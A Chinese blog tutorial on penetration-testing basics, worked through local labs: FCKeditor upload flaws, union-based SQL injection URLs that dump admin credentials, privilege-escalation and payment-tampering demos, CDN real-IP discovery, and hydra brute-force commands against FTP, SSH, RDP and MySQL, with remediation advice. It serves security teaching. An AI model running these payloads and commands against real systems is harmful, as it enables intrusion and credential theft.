【网络安全的神秘世界】渗透测试基础

在这里插入图片描述

🌝博客主页:泥菩萨

💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具

渗透测试基础

基于功能去进行漏洞挖掘

1、编辑器漏洞

1.1 编辑器漏洞介绍

一般企业搭建网站可能采用了通用模板(CMS,内容管理系统),这些现成的CMS后台如果需要发文章,可能会用到编辑器,这些编辑器是有专门的团队运营开发的,编辑器有可能存在漏洞。只要使用了存在漏洞的编辑器,那么网站就会存在相应的漏洞

编辑器漏洞通常有如下利用方式:

1、编辑器配合解析漏洞进行利用

2、编辑器自身的漏洞利用

FCKeditor

FCKeditor编辑器的漏洞源码

获取版本号

/FCKeditor/_whatsnew.html
/Fckeditor/editor/dialog/fck_about.html

常见的测试上传地址

FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
FCKeditor/editor/filemanager/browser/default/browser.html

常见的示例上传地址:

FCKeditor/_samples/default.html
FCKeditor/editor/fckeditor.htm
FCKeditor/editor/fckdialog.html

可能存在的其他上传点:

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?
Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp?
Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php
FCKeditor/editor/filemanager/browser/default/browser.html?
Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectos/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?
Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx
FCKeditor/editor/filemanager/browser/default/browser.html?
Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors
/jsp/connector.jsp

browser.html文件:

FCKeditor/editor/filemanager/browser/default/browser.html?
type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?
Type=Image&Connector=connectors/jsp/connector.jsp
fckeditor/editor/filemanager/browser/default/browser.html?
Type=Image&Connector=connectors/aspx/connector.Aspx
fckeditor/editor/filemanager/browser/default/browser.html?
Type=Image&Connector=connectors/php/connector.php

1.2 编辑器漏洞攻击还原

挖掘编辑器漏洞的思路:

1、通过目录扫描,爬虫识别编辑器

2、寻找编辑器版本对应的漏洞

3、利用该编辑器漏洞

Fckeditor编辑器漏洞攻击还原:

首先搭建环境:windows 11 + phpstudy_64 (php 5.4.45)

在这里插入图片描述

在这里插入图片描述

把FCKeditor编辑器的漏洞源码放在根目录

在这里插入图片描述

访问http://your_ip/FCKeditor,有403报错是正常的

在这里插入图片描述

目录扫描发现目标网站存在FCKeditor:

在这里插入图片描述

当确定一个网站使用了FCKeditor编辑器后,可以进行信息收集

查看版本:

http://10.0.0.172/Fckeditor/editor/dialog/fck_about.html

在这里插入图片描述

判断出该FCKeditor编辑器版本为:2.4.3

利用示例页面进行上传

http://10.0.0.172/FCKeditor/editor/fckeditor.html

在这里插入图片描述

点击插入/编辑图像,点击链接,Browse Server

在这里插入图片描述

会打开新的页面,发现有报错提示

在这里插入图片描述

观察url发现,我们使用的是php而路径是asp,进行修改

http://10.0.0.172/FCKeditor/editor/filemanager/browser/default/browser.html?Connector=connectors/php/connector.php

这次仍然报错,但是报错信息不同了

在这里插入图片描述

访问D:\phpstudy_pro\WWW\FCKeditor\editor\filemanager\browser\default\connectors\php\config.php,修改配置如下并保存:

上传路径:D:\phpstudy_pro\WWW\FCKeditor\editor\filemanager\browser\default\images

在这里插入图片描述

重启完成后,再次访问链接,可以正常访问

在这里插入图片描述

上传PHP文件,抓包,修改php后缀,增加空格

在这里插入图片描述

在这里插入图片描述

上传成功后,根据前面的配置文件可以构造出路径:

http://10.0.0.172/FCKeditor\editor\filemanager\browser\default\images\file/phpinfo.php

在这里插入图片描述

也可以用蚁剑直接拿下这台web服务器

此外,关于该实验环境,也可以通过测试页面进行文件上传:

http://10.0.0.172/FCKeditor/editor/filemanager/browser/default/connectors/test.html

在这里插入图片描述

也可以使用FCK综合利用工具进行利用

在这里插入图片描述

2、旁站&跨库

旁站:同一个web服务器上存载着多个web站点,通过不同端口对外进行服务

2.1 旁站&跨库

漏洞环境搭建

bluecms v1.6 sp1源码
windows 7
phpstudy(php 5.4.45)

将bluecms源码放入phpstudy网站根目录中

在这里插入图片描述

之后访问http://your_ip/bluecms/uploads/install进行安装

在这里插入图片描述

填写数据库账号密码,我设置的是root/123456,数据表前缀blue_,管理员账号密码admin/123456,下一步

在这里插入图片描述

在这里插入图片描述

返回空白页面即代表安装成功

在这里插入图片描述

旁站和跨裤演示

在渗透测试过程中,如果正面难以突破,那么就可以采用一些迂回战术,从侧面来发起攻击,也就是采用一些间接攻击方法,例如旁站,通过旁站注入来进行渗透

在这里插入图片描述

假如在某次渗透测试过程中我们发现主站难以攻破,又发现存在旁站bluecms,于是通过旁站来进行攻击:

http://10.0.0.160/bluecms/uploads/

分析这个页面可以挖的地方:

1、收藏----存在ssrf

2、密码爆破

3、弱口令

4、密码明文传输—有攻击者监听流量可以看到密码

5、是否记住我—可能用了share框架

在这里插入图片描述

点击进入注册功能点,思考可能存在以下漏洞:

1、弱口令

2、账号枚举—判断是否存在账号

3、测试验证码是否有效(不填或者故意填错)

4、csrf—此网站在验证码无效的情况下

5、逻辑漏洞------当作修改已注册用户密码功能点(在不校验旧密码的情况下,根据账户枚举得到一个已有账号,抓包绕过前端限制,把账户修改为已经存在的,并设置新密码)

6、XSS(盲注的场景)

7、电子邮箱—邮箱轰炸

在这里插入图片描述

点击进入留言建议,分析这个页面可以挖的地方:

1、XSS

在这里插入图片描述

回到首页进行渗透测试,输入admin密码随意,根据提示发现admin是系统用户组,并且存在后台

在这里插入图片描述

找后台的3种方法:

1、已知框架了直接上网查

2、猜(console、login、admin、manage、system)

3、目录爆破:dirsearch、御剑

通过御剑扫描,找到了网站后台管理地址

在这里插入图片描述

# 登录
http://192.168.190.128/bluecms/uploads/admin/login.php?act=login

在这里插入图片描述

已知账号admin,爆破出密码为123456

在这里插入图片描述

输入admin/123456成功进入后台

打开发布本地新闻,分析这个页面可以挖的地方:

1、xss

2、文件上传

3、编辑器漏洞

4、sql注入

在这里插入图片描述

删除功能,分析可能存在的漏洞:

1、越权:普通用户实现删除操作

2、未授权访问:在不登陆的情况下删除

在这里插入图片描述

抓包,找到删除功能的接口,拼接删除功能的接口地址

192.168.75.131/bluecms/uploads/admin/ann.php?act=del_cat&id=1

在这里插入图片描述

添加广告后,有xss弹窗

在这里插入图片描述

在这里插入图片描述

发现 “获取JS” 的功能,给我们一串js代码

在这里插入图片描述

在这里插入图片描述

思考:JS从哪里获取到的,会有什么漏洞?

1、本地获取-----任意文件读取

2、数据库获取—SQL漏洞

3、远程服务器获取—RCE、SSRF(内网)、文件包含(外网)

访问上述url,发现是个空白页面,观察url可能存在sql注入漏洞

192.168.75.131/bluecms/uploads/ad_js.php?ad_id=1

验证是否存在sql注入漏洞

在这里插入图片描述

通过order by 判断有多少列,输到8报错,证明是7列

在这里插入图片描述

使用联合注入,用1,2,3,4,5,6,7表示无意义位,只是想看看哪个位置会有回显

在这里插入图片描述

发现页面不返回消息,查看网页源代码

在这里插入图片描述

证明前端显示位不够,让union all左边ad_id=-1查不出东西,就会让出显示位给右边

在这里插入图片描述

发现第7列有回显,可以在此处写入想执行的sql语句

注入出数据库名为bluecms

在这里插入图片描述

继续注入blue_user表中的字段名,发现报错,存在过滤,单引号前面出现\证明单引号被转义:

view-source:http://192.168.190.128/bluecms/uploads/ad_js.php?ad_id=-
1 union select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='blue_user'

在这里插入图片描述

使用16进制进行绕过:

view-source:http://192.168.190.128/bluecms/uploads/ad_js.php?ad_id=-
1 union select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x626c75655f75736572

在这里插入图片描述

继续注入bluecms库中blue_user表的user_name和pwd字段内容:

view
-
source:http://192.168.190.128/bluecms/uploads/ad_js.php?ad_id=
-1 union select 1,2,3,4,5,6, concat(user_name,pwd) from blue_user

也可以使用concat_ws在user_name和pwd中间加入0x7e作为分隔符,方便我们分隔账号密码

在这里插入图片描述

admin以及21232f297a57a5a743894a0e4a801fc3,即web管理员的账户密码

通过在线解密:发现明文密码为admin

在这里插入图片描述

利用SQL注入能够跨越当前库,获取所有的数据库中的数据库名,表名,字段名:

view
-source:http://192.168.190.128/bluecms/uploads/ad_js.php?ad_id=
-1 union select 1,2,3,4,5,6,group_concat(schema_name)
from information_schema.schemata

在这里插入图片描述

2.2 CDN绕过

旁站攻击的前提是知道网站服务器的真实IP,确保要攻击的多个目标站点部署在同一服务器上

CDN概述

CDN也叫内容分发网络,CDN的主要目的是通过将内容缓存到离用户更近的服务器上,来提高用户访问网站或应用程序的速度和可靠性

检测网站是否采用了CDN

1️⃣利用多地ping

每个地区得到的IP地址都不一样则说明可能存在CDN,可以使用以下网站进行检测:

https://wepcc.com
http://ping.chinaz.com
https://mping.chinaz.com/
http://ping.aizhan.com/
http://tcping8.com/ping/

在这里插入图片描述

2️⃣利用nslookup

如果返回域名解析对应多个IP地址多半是使用了CDN

在这里插入图片描述

查找真实IP方法

1️⃣查找历史DNS记录

一个网站建设之初的时候,规模不大可能早期没有使用CDN

DNS查询https://www.malapan.com/dnshistory/safepub.com、https://www.
racent.com/dns-check
微步在线:https://x.threatbook.cn/
在线域名信息查询:http://toolbar.netcraft.com/site_report?url=
DNS、IP等查询:http://viewdns.info/
CDN查询IP:https://tools.ipip.net/cdn.php

这些网站具有随机性,不一定能查到

2️⃣子域名查询

对于一个网站边缘业务可能没有上CDN,此时就可以通过查询子站点所对应的IP来辅助查找网站的真实IP

第三方接口:
https://x.threatbook.cn/
https://dnsdb.io/zh-cn/
https://site.ip138.com/

google语法:Google site:baidu.com

子域名扫描器:subdomainbrute、amass、OneForAll子域名挖掘机等等

3️⃣网络空间测绘

shadan:https://www.shodan.io/
fofa:https://fofa.info/
hunter:https://hunter.qianxin.com/
zoomeye:https://WWW.zoomeye.org/

4️⃣利用网站漏洞

phpinfo之类的探针、GitHub信息泄露等、
XSS盲打、命令执行反弹shell,SSRF等

5️⃣利用邮件服务器找到真实IP

在注册等一些需要发送邮件的地方让服务器给自己发送邮件,然后查看邮件服务器的IP地址。这种情况比较适用于小站,因为很多大型企业的邮件服务器都是独立的,不太会和业务站点放在同一服务器上。

6️⃣通过分析目标C段来判断真实IP

3、越权

3.1 越权漏洞原理介绍

越权访问是Web应用程序中一种常见的漏洞,由于其存在范围广、危害大、常常被列为OWASP TOP 1 ------ 属于逻辑漏洞

该漏洞是指应用在检查授权时存在纰漏,使得攻击者在登录低权限账户后,利用一些方式绕过权限检查,访问或者操作其它用户信息及获取更高权限

由于越权漏洞往往很难通过工具进行自动化检测,因此在实际应用中危害很大

对比一下SQL注入漏洞和越权漏洞的测试过程:

1、越权漏洞:找到获取数据的接口,准备两个不同权限的账号A和B,控制A通过指定的接口去访问B的数据;访问到即越权

2、SQL注入怎么测:参数级漏洞,看到有携带参数的接口就可以放在sqlmap里去跑,sqlmap自动进行替换完成测试

水平越权: 相同权限下不同的用户可以互相访问

垂直越权: 使用权限低的用户可以访问到权限高的用户

水平越权测试方法:

垂直越权测试方法:

3.2 水平越权攻防还原

火狐浏览器:登录lucy/123456,点击查看个人信息

在这里插入图片描述

抓包,修改请求数据包的username参数为lili

在这里插入图片描述

在火狐浏览器可以查看到lili的个人信息了

在这里插入图片描述

3.3 垂直越权攻防还原

火狐浏览器登录:admin/123456

在这里插入图片描述

抓包,发现除了cookie没有其它参数了,只能根据cookie值来判断当前用户的身份

在这里插入图片描述

在admin账户中点击添加用户,来到这个页面

在这里插入图片描述

1️⃣复制上述url用谷歌浏览器打开

2️⃣替换cookie

还有一种方法,在admin用户下创建内容

在这里插入图片描述

抓包,发现除了cookie没有其它校验身份的参数了

在这里插入图片描述

把cookie值修改为pikachu用户的cookie值

在这里插入图片描述

如果成功,相当于用pikachu的权限进行添加用户;放包查看,添加成功了

在这里插入图片描述

谷歌浏览器登录:pikachu/000000

在这里插入图片描述

对于pikachu账户来说没有添加用户的功能,但是可以用谷歌再打开一个新的标签页,表示以pikachu的身份访问这个url

在这里插入图片描述

设置一些内容进行创建,看能否真的进行操作做

在这里插入图片描述

做了校验,发现不是admin用户,直接退出了

在这里插入图片描述

但是来到admin用户查看后台,信息已经添加成功了

在这里插入图片描述

3.4 越权漏洞修复

1、前后端同时对用户输入信息进行校验,双重验证机制

2、执行关键操作前必须验证用户身份,验证用户是否具备操作数据的权限

3、特别名的操作可以让用户再次输入密码或加入其它的验证信息,防止CSRF攻击

4、可以从用户的加密认证cookie中获取当前用户的id防止攻击者对其修改,或在session、cookie中加入不可预测的user信息

5、对想要引用的资源ID进行加密,防止攻击者枚举ID,敏感数据特殊化除了

6、用于不要相信来自用户的输入,对于可控参数进行严格的检查与过滤

4、 逻辑漏洞

4.1 逻辑漏洞概述

由于程序逻辑输入管控不严,导致程序不能正常处理或处理错误,进而产生的漏洞。一般出现在登录、注册、密码找回、信息查看、交易支付金额等位置,由于逻辑漏洞产生的流量多数为合法流量,一般的防护手段或设备无法阻止,也导致了逻辑漏洞成为企业防护中的难题

4.2 如何挖掘逻辑漏洞

4.2.1 注册处

注册功能可能出现任意用户注册、短信轰炸等问题

【任意用户注册】:有时候不核实用户填写的邮箱和手机号是否有效,从而达到任意注册的效果

【短信轰炸】:没有对获取短信验证的次数进行校验的话,就可以不停的发送短信,会消耗服务器的资源和金钱

前端验证:判断是否有任意用户注册漏洞

手机验证码:短信轰炸、验证码是否可以暴力破解,验证码与手机号有没有校验匹配(随便拿到一个验证码也能登录其他账号)

账号密码注册:是否可以批量注册(涉及黑产)

4.2.2 登陆处

登陆处可能存在任意用户登录、短信轰炸等问题

前端验证:判断是否有任意用户登录,是否有验证码回显,是否可以修改返回包造成任意用户登陆等问题

手机验证码:验证码是否可以暴力破解、验证码与当前手机号有没有校验匹配

账户密码登录:没有验证码、验证码失效、验证码可以重复利用或者验证码绕过等情况,可以进行暴力破解

4.2.3 密码找回处

1、前端验证绕过:先获取手机验证码,在输入要修改的邮箱或密码,抓包修改用户名

2、验证码是否可以多次使用

3、验证码是否直接返回在数据包中

4、验证码未绑定用户:明明是A的验证码能给B用

5、修改接收的手机或邮箱进行密码重置

6、验证步骤绕过:类似1

7、未校验用户字段的值:比如user_id可替换

4.2.4 支付与越权

1、提交订单或者结算时对金额等参数进行修改(可能只校验总价=单价*数量)

2、提交订单时修改商品数量

3、修改支付接口等:某个付款二维码被攻击者拿到了,为了防止攻击者使用该二维码进行随意支付,所以要进行一次校验

4.3 交易支付中的逻辑问题

支付漏洞的理解通常都是篡改价格

4.3.1 支付逻辑漏洞的呈现形式

1、充值的时候,程序只判断订单有没有充值成功,但没有判断金额

例如:生成订单跳转到支付宝页面,在原网站点支付失败,这时可以修改订单,改成更小的金额(订单号没变),回到支付宝页面进行支付操作,支付成功。程序并没有重新核对支付宝实际的金额,只是把订单改为已支付

2、使用余额支付,把数量改为负数,总金额也为负数,扣除余额时,负负得正,这时余额增加

3、支付逻辑漏洞的几种常见类型:

(1)修改金额

(2)修改商品数量

(3)修改优惠金额

(4)修改数量、单价、优惠价格参数为负数、小数、无限大(超过内存能承载的最大值,整数溢出后变成负数)

(5)商品价格更改

(6)支付key泄露等

4.3.2 支付漏洞案例

漏洞环境:webug

使用docker安装

docker pull area39/webug
docker run -d -p 8082:80 -p 33060:3306 area39/webug

安装成功后访问http://your_ip:8082/control/login.php

默认账户:admin/admin
数据库账号:root/toor

在这里插入图片描述

打开支付漏洞靶场

在这里插入图片描述

进入某网站商城页面

http://10.0.0.158:8082/control/auth_cross/cross_permission_pay.php

在这里插入图片描述

点击立即购买,发现弹窗花费了100元购买商品

在这里插入图片描述

观察url发现,price是价格的意思,尝试修改值为1

在这里插入图片描述

也可以抓包进行修改商品的价格

在这里插入图片描述

在这里插入图片描述

4.4 密码修改逻辑漏洞

在这里插入图片描述

访问“越权修改密码”靶场:

在这里插入图片描述

进入docker的数据库中

docker exec -it id bash
mysql -uroot -p //密码toor

在这里插入图片描述

查看用户密码信息

show database;
user webug;
show tables;
select * from user_test;

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

登录admin/admin账号

在这里插入图片描述

在这里插入图片描述

显示not found,这是网站本身的问题,删除pt_env/即可

在这里插入图片描述

登录aaaaa/asdfsadf账号

在这里插入图片描述

思考可能存在的漏洞:

1、明文传输

2、弱口令

3、SQL注入

4、越权修改其他用户密码

5、旧密码是否有效

对aaaaa账户进行修改密码的操作:发现修改密码处未对旧密码进行验证,旧密码处输入任意内容,可以直接修改密码

在这里插入图片描述

查看webug库下的user_test表

use webug;
select * from user_test;

在这里插入图片描述

抓包,观察数据包我们发现id值可以被篡改,一般来说管理员的id值一般为1或者0

在这里插入图片描述

将id修改为1进行尝试,发现修改成功

在这里插入图片描述

查看webug库下的user_test表

use webug;
select * from user_test;

在这里插入图片描述

此时admin账户的密码已经被更改为:123456,通过低权限的账户修改了管理员账户的密码,使用admin/123456即可成功登录。

4.5 实战项目逻辑漏洞分享

4.5.1 验证码回传导致任意用户注册

由于程序逻辑校验不严,导致验证码直接显示在响应包中,造成任意用户注册

在这里插入图片描述

1、可以修改请求包手机号

2、可以在响应码里直接看到验证码拿去使用

4.5.2 任意用户登录

用户注册成功后,第一次会直接以注册用户的身份登录,而无需用户输入账号密码登录,查找数据包中是否有用户的参数username、userid等进行替换

在这里插入图片描述

截取并查看响应数据包,发现系统是通过userid、username等参数进行身份验证及登录:

在这里插入图片描述

再去截取请求数据包,修改userid值,成功登录他人用户:

在这里插入图片描述

4.5.3 任意密码重置

在密码修改页面,随意输入旧密码,输入新密码以及确认新密码,点击修改密码,截取数据包

将响应包由false改为true,有时候响应状态码不一定是true或false,也有可能是0和1

在这里插入图片描述

在这里插入图片描述

4.6 逻辑漏洞修复

1、正确配置用户的权限信息,不要仅使用简单的cookie或session去进行校验

2、对同一手机号进行识别,一定时间内不允许重复发送验证短信请求

3、加入用户身份认证机制或者token验证,防止可直接通过链接访问到的功能模块被用户恶意操作(未授权访问漏洞)

4、删除特权码,不要仅仅对code等返回值进行校验

5、订单类数据包在后端检查订单的每一个值,包括支付状态、MD5加密&解密、数字签名及验证,能够有效避免数据修改、重放攻击中的各种问题

6、避免仅使用前端校验,应在前后端同时设置校验机制,严格校验用户的数据

5、暴力破解

暴力破解是一种针对密码的破译方法,将密码进行逐个推算知道找出正确的密码为止

5.1 C/S架构暴力破解

常用于网络协议、系统、数据库、第三方应用密码的破解:

暴力破解FTP、SSH、SMB、Sqlserver、Mysql、Redis等

5.2 B/S架构暴力破解

B/S架构即浏览器/服务器结构,暴力破解:

上面 2.1 旁站&跨库 中已经讲过暴力破解bluecms的账号密码,这里不再讲述

5.3 hydra的安装与使用

hydra(九头蛇)是一个网络账号破解攻击

5.3.1 hydra的安装

kali linux下自带

5.3.2 hydra的使用

hydra常用参数:

-l            指定一个用户名
-L            指定一个用户字典
-P			  指定一个密码字典
-s			  指定端口
-vV			  显示每次的尝试信息
-f			  遇到正确的密码,停止爆破
-o            将结果输出到文件中
-M            指定一个服务器列表
-t            Tasks同时运行的线程数,默认为16
-e nsr        n:尝试空密码  s:将用户名作为密码  r:将用户名方向

使用hydra暴力破解ftp服务:

在windows使用phpstudy开启ftp

设置账号为ftp/123456并启动ftp服务

在这里插入图片描述

启动,需要手动启动一下ftp

在这里插入图片描述

确保linux和weindows两台主机之间的网络是互通的

windows:10.0.0.160
linux:10.0.0.158

在这里插入图片描述

在这里插入图片描述

hydra ip 服务 -l 用户名 -P 字典
hydra 10.0.0.160 ftp -l ftp -P pwd.txt -vV -f -e ns

将字典pwd.txt,放在当前目录下

在这里插入图片描述

成功破解出密码为:ftp/123456

在这里插入图片描述

物理机利用该密码成功登录ftp服务器

ftp://10.0.0.160/

在这里插入图片描述

在这里插入图片描述

使用hydra暴力破解ssh服务:

windows:10.0.0.167
linux:10.0.0.158

首先在Windows系统中安装openssh,以Win 11为例:

在这里插入图片描述

安装完成后,看到C盘目录下已经存在OpenSSH文件夹,接下来配置环境变量:

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

配置完成后,在命令行输入sssh,出现下图即代表安装成功:

在这里插入图片描述

在Win 11下默认安装openssh,账号密码默认是当前系统用户的微软账号和密码

hydra 10.0.0.167 ssh -l Administrator -P pwd.txt -o ssh.log

破解出账号密码为Administrator/ly123

在这里插入图片描述

查看输出的文件也可以发现:

破解出10.0.0.160的ssh账号密码为Administrator/ly123

在这里插入图片描述

使用hydra暴力破解rdp服务:

win 11开启远程桌面(默认开启)

在这里插入图片描述

在这里插入图片描述

hydra 10.0.0.167 rdp -l Administrator -P pwd.txt -vV -f -e ns

发现爆破出rdp的账号密码为Administrator/ly123

在这里插入图片描述

使用该账户成功登录服务器

在这里插入图片描述

在这里插入图片描述

当用物理机远程虚拟机win 11时,虚拟机就掉线了,因为同一个账号只能被一个用户所登录

在这里插入图片描述

使用hydra暴力破解mysql服务:

win11中开启mysql服务,查看账号密码:

在这里插入图片描述

在这里插入图片描述

hydra 10.0.0.167 mysql -l root -P pwd.txt 

发生了报错,意思是MySQL没有开启远程连接

在这里插入图片描述

安装数据库管理工具

在这里插入图片描述

在这里插入图片描述

设置MySQL允许远程连接:

运行 grant all privileges on *.* to root@'%' identified by 'root'; 语句

在这里插入图片描述

破解出10.0.0.167的mysql的账号密码为:root/root

在这里插入图片描述

5.4 暴力破解安全防范

1、安全的验证码

2、对验证码的有效期和次数进行限制

3、限制认证错误的提交次数,如:连续5次密码错误,锁定2小时

4、必要的情况下使用双因子认证(验证码+滑动验证码)

6、验证码安全

所用环境:pikachu

6.1 验证码安全介绍及分类

在安全领域,验证码主要分为两大类:操作验证码和身份验证码

验证码的主要作用:防止暴力破解、恶意注册、刷票、论坛灌水等脚本行为

验证码的分类:手机短信、手机语音、通用文字、加减法、非通用文字、非通用文字加背景随机加拉伸、无感知、滑动拼图、文字点选、图标点选、推理拼图、短信上行、语序点序、空间推理、语音验证等

6.2 验证码绕过(on client前端)

当未输入验证码的时候,提示“请输入验证码”:

在这里插入图片描述

当输入错误验证码的时候提示“验证码输入错误”:

在这里插入图片描述

当输入正确验证码的时候提示“用户名或者密码不存在”:

username or password is not exists~

在这里插入图片描述

经过前三步的测试,验证码基本功能完善

我们尝试截取登录处数据包,修改密码但不更改验证码并多次重放之后发现没有提示验证码错误,该验证码依然有效,说明可能存在验证码可以重复使用的情况:

在这里插入图片描述

分析验证码部分的源代码:

代码逻辑没有问题,原因在于写在前端了

完整的实现 请求 --> 响应 过程页面才会刷新,只有页面刷新才能获取新的验证码,而我们抓到了请求包,响应回不去客户端,所以验证码无法刷新,从而导致验证码可以重复利用

在这里插入图片描述

在这里插入图片描述

既然验证码无效,就可以直接暴力破解了

在这里插入图片描述

在这里插入图片描述

破解出密码为1223456

在这里插入图片描述

除了抓包,也可以通过禁用js来绕过验证码

在这里插入图片描述

删除校验验证码的功能也能绕过

在这里插入图片描述

6.2 验证码绕过(on server后端)

先对验证码的功能进行完备性的验证

不输入验证码点登录:

在这里插入图片描述

输错验证码点登录:

在这里插入图片描述

输入正确的验证码:

在这里插入图片描述

输入一个正确的验证码,抓包:发现验证码还是可以重复利用

在这里插入图片描述

为什么代码在后端,还会出现验证码重复利用这种情况呢?

在这里插入图片描述

在burp反复 send 是2和3的过程,没有走完完整的通信,问题是验证码是后端生成的,正常情况下,只要2给了服务端,服务端就应该更新验证码

所以问题还是出现在后端,查看源代码:app\vul\burteforce\bf_server.php

在这里插入图片描述

造成该验证码重复使用的原因是:验证码在验证之后没有销毁$_SESSION[‘vcode’],造成了重复使用

在这里插入图片描述

如果销毁了$_SESSION[‘vcode’],即使新的验证码没有生成,旧的验证码也不可以用了

7、社会工程学

非技术渗透手段,简单来说就是骗

8、APT攻击

APT即高级持续性威胁,是一种潜伏周期较长、隐蔽性较强的攻击模式

APT攻击常用手段:

1️⃣水坑攻击

提前分析要攻击的目标有什么规律,寻找其经常访问的网站弱点,并事先攻击该网站,等待目标来访,伺机进行攻击

2️⃣路过式下载

攻击者把木马文件植入到某个软件中,用户下载软件的同时也下载了木马

3️⃣网络钓鱼和鱼叉式网络钓鱼

钓鱼攻击

4️⃣0day漏洞

没有在市面上公布出来,掌握在极少数人手里

APT攻击方法

1️⃣恶意代码检查

通过流量抓到攻击者用的什么payload打到你的,通过payload还原攻击代码、攻击路径,做个有针对性的修复

2️⃣主机保护应用

看行为:执行了什么操作系统路径、对外传输了哪些数据

监控企业内内所有主机安全行为

3️⃣网络入侵检测

通过流量监控设备,结合一些态势感知,对整个流量进行监控

4️⃣大数据分析检测

通过全面分析海量日志数据来还原APT攻击场景

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/876250.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

app抓包 chrome://inspect/#devices

一、前言: 1.首先不支持flutter框架,可支持ionic、taro 2.初次需要翻墙 3.app为debug包,非release 二、具体步骤 1.谷歌浏览器地址:chrome://inspect/#devices qq浏览器地址:qqbrowser://inspect/#devi…

Lombok:Java开发者的代码简化神器【后端 17】

Lombok:Java开发者的代码简化神器 在Java开发中,我们经常需要编写大量的样板代码,如getter、setter、equals、hashCode、toString等方法。这些代码虽然基础且必要,但往往占据了大量开发时间,且容易在属性变更时引发错误…

华为OD机试 - 计算误码率(Python/JS/C/C++ 2024 E卷 100分)

华为OD机试 2024E卷题库疯狂收录中,刷题点这里 专栏导读 本专栏收录于《华为OD机试真题(Python/JS/C/C)》。 刷的越多,抽中的概率越大,私信哪吒,备注华为OD,加入华为OD刷题交流群,…

怎么将几个pdf合成为一个?把几个PDF合并成为一个的8种方法

怎么将几个pdf合成为一个?将多个PDF文件合并成一个整体可以显著提高信息整合的效率,并简化文件的管理与传递。例如,将不同章节的电子书合成一本完整的书籍,或者将多个部门的报告整合成一个统一的文档,可以使处理流程变…

CCS811二氧化碳传感器详解(STM32)

目录 一、介绍 二、传感器原理 1.原理图 2.引脚描述 3.工作原理介绍 三、程序设计 main.c文件 ccs811.h文件 ccs811.c文件 四、实验效果 五、资料获取 项目分享 一、介绍 CCS811模块是一种气体传感器,可以测量环境中TVOC(总挥发性有机物质)浓度和eCO2…

6.接口测试加密接口(Jmeter/工具/函数助手对话框、Beanshell脚本)

一、接口测试加密接口,签名接口 1.加密算法: 可以解密的: 对称式加密(私钥加密):AES,DES,Base64 https://www.bejson.com 非对称加密(双…

Fisco Bcos 2.11.0通过网络和本地二进制文件搭建单机节点联盟链网络(搭建你的第一个区块链网络)

Fisco Bcos 2.11.0通过网络和本地二进制文件搭建单机节点联盟链网络(搭建你的第一个区块链网络) 文章目录 Fisco Bcos 2.11.0通过网络和本地二进制文件搭建单机节点联盟链网络(搭建你的第一个区块链网络)前言一、Ubuntu依赖安装二、创建操作目录, 下载build_chain.sh脚本2.1 先…

Linux-Swap分区使用与扩容

一、背景 在Linux系统中,swap空间(通常称为swap分区)是一个用于补充内存资源的重要组件。当系统的物理RAM不足时,Linux会将一部分不经常使用的内存页面移动到硬盘上的swap空间中,这个过程被称为分页(paging…

【JavaEE初阶】多线程(4)

欢迎关注个人主页:逸狼 创造不易,可以点点赞吗~ 如有错误,欢迎指出~ 目录 线程安全的 第四个原因 代码举例: 分析原因 解决方法 方法1 方法2 wait(等待)和notify(通知) wait和sleep区别 线程安全的 第四个原因 内存可见性,引起的线程安全问…

CloudXR 套件扩展 XR 工作流

NVIDIA为开发者提供了一个先进的平台,开发者可以在该平台上使用全新NVIDIA CloudXR 套件来创建可扩展、品牌化的定制扩展现实(XR)产品。 NVIDIA CloudXR 套件基于全新架构而打造,是扩展XR生态的重要工具。它为开发者、专业人士和…

彻底理解浅拷贝和深拷贝

目录 浅拷贝实现 深拷贝实现自己手写 浅拷贝 浅拷贝是指创建一个新对象,这个对象具有原对象属性的精确副本 基本数据类型(如字符串、数字等),在浅拷贝过程中它们是通过值传递的,而不是引用传递,修改值并不…

Git项目管理工具

分布式版本控制系统

数据集 wider person 户外密集行人检测 >> DataBall

数据集 wider person 用于野外密集行人检测的多样化数据集 行人检测 目标检测 户外密集行人检测的多样化数据集 WiderPerson: A Diverse Dataset for Dense Pedestrian Detection in the Wild article{zhang2019widerperson, Author {Zhang, Shifeng and Xie, Yiliang and Wa…

常用环境部署(二十)——docker部署OpenProject

一、安装Docker及Docker-compose https://blog.csdn.net/wd520521/article/details/112609796 二、docker拉取OpenProject镜像 1、拉取镜像 docker pull openproject/openproject:14 注意: 拉取镜像的时候会有超时的现象出现,大家重新拉取几次就行…

链式二叉树的基本操作(C语言版)

目录 1.二叉树的定义 2.创建二叉树 3.递归遍历二叉树 1)前序遍历 2)中序遍历 3)后序遍历 4.层序遍历 5.计算节点个数 6.计算叶子节点个数 7.计算第K层节点个数 8.计算树的最大深度 9.查找值为x的节点 10.二叉树的销毁 从二叉树…

